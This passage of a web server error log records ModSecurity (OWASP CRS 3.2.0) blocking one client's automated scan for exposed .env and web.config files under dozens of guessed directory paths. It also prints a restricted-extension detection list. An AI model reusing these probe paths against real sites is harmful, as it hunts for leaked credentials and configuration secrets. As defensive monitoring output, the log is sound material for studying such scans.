&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMQAAAAc&quot;]
[Thu Feb 26 01:03:24.483373 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMQAAAAc&quot;]
[Thu Feb 26 01:03:24.483511 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMQAAAAc&quot;]
[Thu Feb 26 01:03:24.506105 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /videos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5GQAAAAY&quot;]
[Thu Feb 26 01:03:24.506326 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5GQAAAAY&quot;]
[Thu Feb 26 01:03:24.506549 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5GQAAAAY&quot;]
[Thu Feb 26 01:03:24.507710 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMgAAAAc&quot;]
[Thu Feb 26 01:03:24.507914 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMgAAAAc&quot;]
[Thu Feb 26 01:03:24.508066 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMgAAAAc&quot;]
[Thu Feb 26 01:03:24.581257 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/vuecli/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMwAAAAc&quot;]
[Thu Feb 26 01:03:24.581489 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMwAAAAc&quot;]
[Thu Feb 26 01:03:24.581649 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMwAAAAc&quot;]
[Thu Feb 26 01:03:24.600184 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vm-docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5GwAAAAY&quot;]
[Thu Feb 26 01:03:24.600409 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5GwAAAAY&quot;]
[Thu Feb 26 01:03:24.600581 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5GwAAAAY&quot;]
[Thu Feb 26 01:03:24.610523 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue_crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNAAAAAc&quot;]
[Thu Feb 26 01:03:24.610747 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNAAAAAc&quot;]
[Thu Feb 26 01:03:24.610884 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNAAAAAc&quot;]
[Thu Feb 26 01:03:24.642126 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vod_installer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HAAAAAY&quot;]
[Thu Feb 26 01:03:24.642360 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HAAAAAY&quot;]
[Thu Feb 26 01:03:24.642528 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HAAAAAY&quot;]
[Thu Feb 26 01:03:24.660744 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web-dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNgAAAAc&quot;]
[Thu Feb 26 01:03:24.660963 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNgAAAAc&quot;]
[Thu Feb 26 01:03:24.661113 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNgAAAAc&quot;]
[Thu Feb 26 01:03:24.674838 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue-end/vue-til/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HQAAAAY&quot;]
[Thu Feb 26 01:03:24.675060 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HQAAAAY&quot;]
[Thu Feb 26 01:03:24.675227 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HQAAAAY&quot;]
[Thu Feb 26 01:03:24.692605 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNwAAAAc&quot;]
[Thu Feb 26 01:03:24.692900 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNwAAAAc&quot;]
[Thu Feb 26 01:03:24.693107 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNwAAAAc&quot;]
[Thu Feb 26 01:03:24.693254 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVNwAAAAc&quot;]
[Thu Feb 26 01:03:24.715436 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HgAAAAY&quot;]
[Thu Feb 26 01:03:24.715663 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HgAAAAY&quot;]
